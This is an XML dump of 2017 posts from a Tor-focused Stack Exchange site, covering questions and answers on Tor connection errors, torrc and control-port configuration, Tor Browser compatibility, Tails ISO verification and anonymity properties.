  <row Id="15092" PostTypeId="1" CreationDate="2017-06-21T14:23:46.673" Score="1" ViewCount="408" Body="&lt;p&gt;I tried connecting to tor, but I'm getting a identity key mismatch and I have no idea how to fix it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 21 19:43:06.202 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Jun 21 19:43:06.202 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jun 21 19:43:06.202 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Jun 21 19:43:06.208 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jun 21 19:43:06.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Jun 21 19:43:06.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Jun 21 19:43:06.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Jun 21 19:43:06.000 [notice] Bootstrapped 45%: Asking for relay descriptors.&#xA;Jun 21 19:44:07.000 [warn] Tried connecting to router at 5.196.23.64:9001, but identity key was not as expected: wanted 775B0FAFDE71AADC23FFC8782B7BEB1D5A92733E but got D0126DE81EC8DBEF93CCF353EA9D20ACB07C7A7D.&#xA;Jun 21 19:44:13.000 [warn] Tried connecting to router at 144.76.14.145:143, but identity key was not as expected: wanted 14419131033443AE6E21DA82B0D307F7CAE42BDB but got D0126DE81EC8DBEF93CCF353EA9D20ACB07C7A7D.&#xA;Jun 21 19:44:24.000 [warn] Tried connecting to router at 91.121.230.212:9001, but identity key was not as expected: wanted DE684E6C6B7773B8BE74B4D941E4178988E15E26 but got D0126DE81EC8DBEF93CCF353EA9D20ACB07C7A7D.&#xA;Jun 21 19:45:41.000 [warn] Tried connecting to router at 144.76.70.41:9001, but identity key was not as expected: wanted A5EABCD79338A1796A4147C87C05941FBADA0699 but got D0126DE81EC8DBEF93CCF353EA9D20ACB07C7A7D.&#xA;Jun 21 19:45:41.000 [warn] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors. (Unexpected identity in router certificate; IDENTITY; count 10; recommendation warn)&#xA;Jun 21 19:45:41.000 [warn] 6 connections have failed:&#xA;Jun 21 19:45:41.000 [warn]  3 connections died in state handshaking (TLS) with SSL state SSL negotiation finished successfully in OPEN&#xA;Jun 21 19:45:41.000 [warn]  3 connections died in state handshaking (TLS) with SSL state unknown state in HANDSHAKE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried using custom bridges but they don't seem to help either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="18016" LastActivityDate="2021-05-21T02:23:01.270" Title="Cannot connect tor, Identity key mismatch" Tags="|configuration|relays|bridge|bootstrapping|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15093" PostTypeId="1" CreationDate="2017-06-21T17:22:03.050" Score="1" ViewCount="325" Body="&lt;p&gt;When using a VPN, should I make any changes to my torrc? Such as defining the default route on (tun0) 10.4.0.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Ubuntu 16.&lt;/p&gt;&#xA;" OwnerUserId="18020" LastActivityDate="2017-06-21T17:22:03.050" Title="Modifying torrc for openvpn?" Tags="|configuration|ubuntu|vpn|openvpn|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15094" PostTypeId="1" CreationDate="2017-06-22T11:28:50.747" Score="1" ViewCount="190" Body="&lt;p&gt;I have installed Tor but every time I try and open the browser nothing happens, just a blue circle for a couple of seconds. I am sure I should get a Tor browser wizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried opening as administrator, still the same. Have deleted and reinstalled several times including the new test version.&#xA;I just don't get it the last time I installed Tor was on an old laptop worked fine straight from go. This laptop is now dead, hence the desktop need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system is Windows 10. And yes I did turn PC on and off again.&#xA;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="18029" LastEditorDisplayName="user6671" LastEditDate="2018-12-20T22:12:19.393" LastActivityDate="2018-12-20T22:12:19.393" Title="Can't get Tor browser wizard to work" Tags="|windows|help|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15095" PostTypeId="1" CreationDate="2017-06-22T15:40:31.463" Score="3" ViewCount="2095" Body="&lt;p&gt;&lt;a href=&quot;https://protonmail.com/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonmail.com/login&lt;/a&gt;&#xA;or&#xA;&lt;a href=&quot;https://protonirockerxow.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonirockerxow.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alfter loggin in with username and password skript seems to stuck -&gt; nothing goes -&gt; no login&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With TOR Browser 6.5.2 it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deactivating https everywhere and noscript doesn´t change this error.&lt;/p&gt;&#xA;" OwnerUserId="18036" LastActivityDate="2020-11-19T05:12:10.367" Title="Protonmail login does´t work any more with TOR Browser 7.0 and later" Tags="|email|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15096" PostTypeId="2" ParentId="13756" CreationDate="2017-06-22T19:11:31.257" Score="1" Body="&lt;p&gt;Tor is the name for a software communication protocol that works to provide anonymity for the user. The Tor network can be utilized by lots of software for example I can route my ssh session over tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is mostly accessed using the Tor browser a browser based upon firefox that is used to access .onion domains as well as the normal web through the tor network. If you just want to use a browser for anonymity and accessing .onion domains you want the the Tor Browser. If you want to route any and all traffic from your machine you'll be looking at using the tor software to route all traffic though it, tho you may inadvertently leave yourself open to leaks and a solution such as Tails/Whonix might be better for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your options are use the tor browser to browse the normal web anonymously and/or access .onion domains, keeping your safari/mail connecting normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install Tor the software to try route any and all network activity through the tor network, tho potentially would lead to problems/leaks/wrong configs exposing yourself. If this is your goal, something like tails/whonix might be more suited. &#xA;Or a separate device that you connect too that will try route any packets you may have missed, such as the onionpi.&lt;/p&gt;&#xA;" OwnerUserId="18037" LastActivityDate="2017-06-22T19:11:31.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15098" PostTypeId="1" CreationDate="2017-06-22T20:40:26.043" Score="1" ViewCount="2595" Body="&lt;p&gt;I am using Fedora linux with system installed TOR and Tor Browser 7.0.1.&#xA;I first did&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export TOR_CONTROL_PASSWD='&quot;secret&quot;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and edited /etc/tor/torrc to the new password by adding the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HashedControlPassword 16:C00D0BBA106618AF6014B12230735F6BE934D897193B76D6029CBE68E6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that was generated with &lt;code&gt;tor --hash-password secret&lt;/code&gt;, then I restarted TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Netcat, doing &lt;code&gt;nc 127.0.0.1 9051&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;authenticate &quot;secret&quot;&#xA;250 OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this means the password is correctly set to &lt;code&gt;secret&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try launching TOR Browser in the same terminal where I exported the variable with the password I am unable to use the TOR Button which complains that TOR is not running. (I set &lt;code&gt;extensions.torlauncher.control_port&lt;/code&gt; to the correct port, &lt;code&gt;9051&lt;/code&gt;)(By default, Tor Browser uses &lt;code&gt;secret&lt;/code&gt; as password)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the tor logs with &lt;code&gt;journactl -fu tor&lt;/code&gt; it shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fedora Tor[16957]: New control connection opened from 127.0.0.1.&#xA;fedora Tor[16957]: Bad password or authentication cookie on controller.&#xA;fedora Tor[16957]: New control connection opened from 127.0.0.1.&#xA;fedora Tor[16957]: Bad password or authentication cookie on controller.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My  torrc is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlSocket /run/tor/control&#xA;ControlSocketsGroupWritable 1&#xA;CookieAuthentication 1&#xA;CookieAuthFile /run/tor/control.authcookie&#xA;CookieAuthFileGroupReadable 1&#xA;ControlPort 9051&#xA;HashedControlPassword 16:C00D0BBA106618AF6014B12230735F6BE934D897193B76D6029CBE68E6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="18039" LastActivityDate="2019-02-09T07:52:00.197" Title="Wrong Password when using system-installed TOR with Tor Browser" Tags="|tor-browser-bundle|configuration|linux|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15099" PostTypeId="1" CreationDate="2017-06-23T06:52:56.930" Score="2" ViewCount="329" Body="&lt;p&gt;I'm dealing with a minor information disclosure when using nginx with onions. Servervault.com might be better suited for an nginx question, but I'm not sure a lot of those guys understand onions or the importance of anonymity, so I'm coming here first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://myonionsite.onion/directory/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;/&lt;/code&gt; at the very end does not disclose any server-side info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://myonionsite.onion/directory&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without &lt;code&gt;/&lt;/code&gt; at the end, returns this address in the URL bar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://myonionsite.onion:18080/directory/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;18080&lt;/code&gt; being the tor forwarding port. My nginx server is bind to 127.0.0.1 so the website isn't public facing. The http error page (I think it's a 301) doesn't disclose any info beyond that, I don't think -- making this disclosure very minor but still I would like to resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around with rewrites like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rewrite ^/directory(.*)$ http://myonionsite.onion redirect;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kinda worked but I found it caused 302 errors with other elements on my site, such as &lt;code&gt;/logo.png&lt;/code&gt; -- which I found bizarre and confusing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the proper way to deal with something like this?&lt;/p&gt;&#xA;" OwnerUserId="18043" LastActivityDate="2017-06-23T06:52:56.930" Title="Nginx directory disclosures?" Tags="|configuration|server|server-administration|information-leaks|vps|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15100" PostTypeId="1" CreationDate="2017-06-23T08:33:25.953" Score="1" ViewCount="30" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BWXcx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;after unceck this option&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NYw8t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;i got error on close Tor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18044" LastActivityDate="2017-06-23T08:33:25.953" Title="after unceck option = exit Tor error" Tags="|error|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15101" PostTypeId="2" ParentId="15091" CreationDate="2017-06-23T21:18:55.310" Score="1" Body="&lt;p&gt;The IP address 171.25.193.9 belongs to the host &lt;a href=&quot;http://whatismyipaddress.com/ip/171.25.193.9&quot; rel=&quot;nofollow noreferrer&quot;&gt;maatuska.4711.se&lt;/a&gt; which is a directory authority within the Tor network. It seems it has banned your relay from the network (&lt;em&gt;Fingerprint is marked rejected&lt;/em&gt;). So maybe it was the case that your relay messed with traffic or people thought it was harmful to the network. People could &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;report bad relays&lt;/a&gt;. So please check your configuration and make sure that you relaying traffic without interfering it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case then you should contact the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/emailLists&quot; rel=&quot;nofollow noreferrer&quot;&gt;bad-relays mailing list&lt;/a&gt; &#xA;and ask for removal.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-06-23T21:18:55.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15102" PostTypeId="2" ParentId="9190" CreationDate="2017-06-23T22:17:19.983" Score="1" Body="&lt;p&gt;I would have to say that having a dynamic ip can hurt your relay in the metrics over a static ip. &#xA;While I cant pick out specifics I can give you the links to the tor-relay email discussions which took place recently with some great info and much more up to date then the trac issue&#xA;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2016-December/thread.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2016-December/thread.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2017-January/thread.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2017-January/thread.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so to conclude if you decide to read much of that I would have to say yes dynamic ips can screw with the metrics of your relay much more then a stable one, and in those situations say where you are running from behind a personal NAT based network a bridge might be better. &#xA;Bridges are not used much until they are needed and therefore can see less traffic then a normal relay exit or not.&lt;/p&gt;&#xA;" OwnerUserId="18037" LastActivityDate="2017-06-23T22:17:19.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15104" PostTypeId="1" CreationDate="2017-06-24T05:51:20.760" Score="1" ViewCount="396" Body="&lt;p&gt;If I'm not mistaken, Tor connections take place like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client -&amp;gt; Entry node -&amp;gt; [Multiple middle nodes] -&amp;gt; Exit nodes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible for a client to directly connect to an exit node (deliberately or otherwise), ala VPN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what are the security implications of this?&lt;/p&gt;&#xA;" OwnerUserId="6956" LastActivityDate="2018-03-22T23:47:36.700" Title="Is it possible for the client to directly connect to an exit node?" Tags="|tor-browser-bundle|relays|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15108" PostTypeId="1" CreationDate="2017-06-24T20:56:05.610" Score="2" ViewCount="1428" Body="&lt;p&gt;Using the Tor browser on amazon.com, everything appears normal, however, when you purchase something and hit &quot;place order&quot; you immediately get the confirmation email but amazon.com immediately cancels the order.&lt;/p&gt;&#xA;" OwnerUserId="18064" LastActivityDate="2020-08-27T18:05:00.590" Title="Tor browser and amazon.com" Tags="|configuration|help|" AnswerCount="1" CommentCount="1" ClosedDate="2020-08-27T18:09:47.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="15109" PostTypeId="2" ParentId="15104" CreationDate="2017-06-24T22:58:49.460" Score="1" Body="&lt;p&gt;No, you cannot use Tor as a single-hop proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was intentionally disabled in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/1751&quot; rel=&quot;nofollow noreferrer&quot;&gt;#1751 - Project: Make it harder to use exits as one-hop proxies &lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of security, you'd lose all anonymity.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-24T22:58:49.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15111" PostTypeId="1" AcceptedAnswerId="15113" CreationDate="2017-06-25T08:41:53.940" Score="1" ViewCount="2066" Body="&lt;p&gt;I follow this &lt;a href=&quot;https://tails.boum.org/install/download/openpgp/index.en.html#command-line&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew install gpg    &#xA;&#xA;$ gpg --keyid-format 0xlong --verify tails-amd64-3.0.iso.sig tails-amd64-3.0.iso&#xA;gpg: Signature faite le Sat Jun 10 17:37:05 2017 CEST&#xA;gpg:                avec la clef RSA A5091F72C746BA6B163D1C183C83DCB52F699C56&#xA;gpg: Impossible de v'erifier la signature : No public key&#xA;&#xA;$ gpg --keyserver hkp://keys.gnupg.net --keyid-format 0xlong --verify tails-amd64-3.0.iso.sig tails-amd64-3.0.iso&#xA;gpg: Signature faite le Sat Jun 10 17:37:05 2017 CEST&#xA;gpg:                avec la clef RSA A5091F72C746BA6B163D1C183C83DCB52F699C56&#xA;gpg: Impossible de v'erifier la signature : No public key&#xA;&#xA;$ pwd&#xA;/Users/fyodor/Downloads/tails-amd64-3.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I miss something or docs not complete?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2017-08-13T22:26:21.523" Title="Tails -&gt; Verify the ISO image -&gt; Using the command line: &quot;gpg: Impossible de v'erifier la signature : No public key&quot;" Tags="|tails|tor-install|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15112" PostTypeId="1" CreationDate="2017-06-25T10:44:22.637" Score="1" ViewCount="1044" Body="&lt;p&gt;I tried about 10 usb sticks for Tails Installer (Install by cloning). Mostly the size is too small or other errors I don't remember. My usb sticks are all give-away articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So need to buy a new USB stick. What is the optimal USB stick for performance and privacy in a Tails setup?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2017-06-25T18:21:01.107" Title="Tails Installer (Install by cloning) recommend optimal USB stick for performance and privacy" Tags="|tails|" AnswerCount="1" CommentCount="0" ClosedDate="2017-06-25T20:53:41.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="15113" PostTypeId="2" ParentId="15111" CreationDate="2017-06-25T11:41:15.097" Score="3" Body="&lt;p&gt;Two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This isn't the correct installation method for you to follow.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These instructions are for people who are &lt;strong&gt;already familiar with basic usage of OpenPGP&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You're not following the instructions at all.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;If you are doing the verification for the first time, &lt;strong&gt;download the &lt;a href=&quot;https://tails.boum.org/tails-signing.key&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails signing key&lt;/a&gt; and import it in your keyring.&lt;/strong&gt; If you are working from Tails, the signing key is already included.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-25T11:41:15.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15114" PostTypeId="2" ParentId="15095" CreationDate="2017-06-25T14:19:12.500" Score="1" Body="&lt;p&gt;The comments on this blog announcement describe the problem, it's root cause and how to work around it.  &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-701-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/tor-browser-701-released&lt;/a&gt;&#xA;In short, the ProtonMail login is using JavaScript Just-in-Time compilation which Tor Browser 7.0.1 doesn't allow except in the &quot;Low&quot; security setting.  After setting the security slider down to &quot;Low&quot;, it works again.&lt;/p&gt;&#xA;" OwnerUserId="18071" LastActivityDate="2017-06-25T14:19:12.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15115" PostTypeId="2" ParentId="15095" CreationDate="2017-06-25T17:47:07.920" Score="0" Body="&lt;p&gt;Thanks Fly Boy,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your answer is right. In TOR Browser 6.5.2 I had security settings on middle, in 7.0.1 you have to set security settings on low to run protonmail.&#xA;In 7.0.1 security behavier of TOR Browser is different than in 6.5.2.&#xA;In 6.5.2 Protonmail was also running with security setting &quot;middle&quot;.&lt;/p&gt;&#xA;" OwnerUserId="18036" LastActivityDate="2017-06-25T17:47:07.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15117" PostTypeId="2" ParentId="15112" CreationDate="2017-06-25T18:21:01.107" Score="2" Body="&lt;p&gt;what is the optimal usb stick for privacy? I dont think thats a question with an answer a usb stick is a usb stick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of size 4gb would be the minimum but if you want to have extra space to use for persistence storage you might want to go with an 8gb sized stick.&#xA;I would suggest a usb3 stick if you have a usb3 port on the machine for the increased speeds, but a usb2 stick will work too.&#xA;If you use an sd card id recommend a class10 sd card for the increased speed but with usb2 or 3 the speed is pretty much one in the same. There are cheaper usb sticks with slower read/write speeds so you can spend a bit more to get a slightly faster drive with better read/write speeds, see the sandisk ultra series.&lt;/p&gt;&#xA;" OwnerUserId="18037" LastActivityDate="2017-06-25T18:21:01.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15118" PostTypeId="1" CreationDate="2017-06-25T20:26:26.127" Score="-1" ViewCount="172" Body="&lt;p&gt;Can anyone help me how to trace back a pc/MAC address/IP Address/Location of an abuser. A mail was sent using one of our department's common email id by hacking into our email id and very abusive language was use. the mail was sent to very high officials and now our department's and company's reputation is at stake. It was a pure crime and we need to know who did it. the criminal used tor browser and we found X-Originating-IP: [176.10.107.180] in message header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if anymore information is needed about the mail please tell me.&lt;/p&gt;&#xA;" OwnerUserId="18078" LastActivityDate="2017-06-27T03:58:59.787" Title="Need help to trace an abusive email hacker" Tags="|ip-address|email|abuse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15119" PostTypeId="2" ParentId="15118" CreationDate="2017-06-26T00:20:14.563" Score="0" Body="&lt;p&gt;In order to protect the users of the Tor network, it has been designed to not allow deanonymization by anyone. Not even by the exit node operator (who ever operates 176.10.107.180). If in fact this was possible, the Tor network would no longer be safe for activists, whistleblowers or anyone else in need of privacy. In order to deanonymize users, Governments could issue warrants, network operators could sell the information and since this information needed to be stored somewhere, the database could be hacked or seized. I'm very sorry to hear that this happened to you, it doesn't only hurt your company but also the reputation of the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-26T00:20:14.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15120" PostTypeId="2" ParentId="14910" CreationDate="2017-06-26T01:06:15.170" Score="1" Body="&lt;p&gt;Entry nodes generally know your IP address, the IP address of the next hop and and they can see traffic patterns. Tor sends so called cells, they have all the same size and are padded if necessary. This helps to avoid traffic correlation and figuring out the exact amount of traffic sent. This provides some protection but a sophisticated adversary might still be able to guess what protocols or services your using. I guess it really depends on your traffic. Perhaps you should have a look the traffic and see if there is any pattern you can make out (e.g. traffic spikes in certain intervals, large downloads with of a certain size, etc.).&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-26T01:06:15.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15122" PostTypeId="1" AcceptedAnswerId="15123" CreationDate="2017-06-26T07:10:28.887" Score="1" ViewCount="412" Body="&lt;p&gt;So I've recently been considering buying a physical security key (specifically &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00NLKA0D8&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;) and was wondering if I could get it to work with tor seeing as the google support article on physical keys for 2FA say that you need an updated google chrome browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any answers appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Diego&lt;/p&gt;&#xA;" OwnerUserId="18083" LastEditorUserId="18083" LastEditDate="2017-06-26T07:17:28.743" LastActivityDate="2017-06-26T11:14:06.547" Title="Do physical security keys work with tor (specifically google products)" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15123" PostTypeId="2" ParentId="15122" CreationDate="2017-06-26T11:14:06.547" Score="0" Body="&lt;p&gt;I looked into it a while back, Firefox support is still work in progress and U2F support is &lt;a href=&quot;https://wiki.mozilla.org/Security/CryptoEngineering#Web_Authentication&quot; rel=&quot;nofollow noreferrer&quot;&gt;expected for Firefox 56/57&lt;/a&gt;. Until then, support remains hidden behind a preference. Alternatively, there is an &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/u2f-support-add-on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon&lt;/a&gt; that enables U2F support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't recommend installing the addon or enabling the preference. Since any page you visit, with JS enabled, can tell you have U2F enabled. Your &lt;a href=&quot;https://wiki.mozilla.org/Fingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;fingerprint&lt;/a&gt; will be different from the majority Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt Tor Browser will have support any time soon. Tor browser will only upgrade from Firefox ESR 52 to 59 next year. And even once that has been done, someone needs to look at the privacy implications. I suspect the Firefox implementation would need to be tweaked to make all Tor Browsers look the same, whether a U2F token is available or not.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-26T11:14:06.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15126" PostTypeId="1" AcceptedAnswerId="15129" CreationDate="2017-06-26T16:16:35.087" Score="0" ViewCount="81" Body="&lt;p&gt;It's my understanding that between the user and an OR there are two symmetric keys, one for sending data forward and another for receiving data. These keys are forged according to either TAP, which uses DHE or nTor, which uses ECDHE. My question is whether two key exchanges are performed between the user and the OR in order to create the two keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this question is more generally about the nature of Diffe Hellman cryptography however I felt as though it was still relevant. &lt;/p&gt;&#xA;" OwnerUserId="18001" LastActivityDate="2017-06-26T21:06:33.780" Title="OR Forward and reverse keys" Tags="|relays|onion-routing|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15127" PostTypeId="1" CreationDate="2017-06-26T16:24:56.793" Score="0" ViewCount="970" Body="&lt;p&gt;I am trying to use Torbrowser without the tor network, but instead trying to use ssh as a socks proxy (ssh -D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Torbrowser without any proxy (neither tor nor ssh) works fine. As soon as I add the ssh socks proxy, I am seeing the following behavior: the first web page usually loads fine; in one of the next pages Torbrowser seems to load forever on some of the elements; after the 3rd or 4th page, it hangs on the entire page, loading forever (well, too long for me to wait anyway). Doing the same with Firefox 52 ESR works fine; only Torbrowser 7 has this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this might happen? Maybe it is due to the socks extensions in tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me emphasize that I am &lt;em&gt;not&lt;/em&gt; trying to run tor over ssh or vice versa. Essentially what I am trying to do is to use an ssh tunnel in place of the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tnx&lt;/p&gt;&#xA;" OwnerUserId="18088" LastActivityDate="2018-03-24T03:02:53.377" Title="Torbrowser over an SSH tunnel with SOCKS 5" Tags="|tor-browser-bundle|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
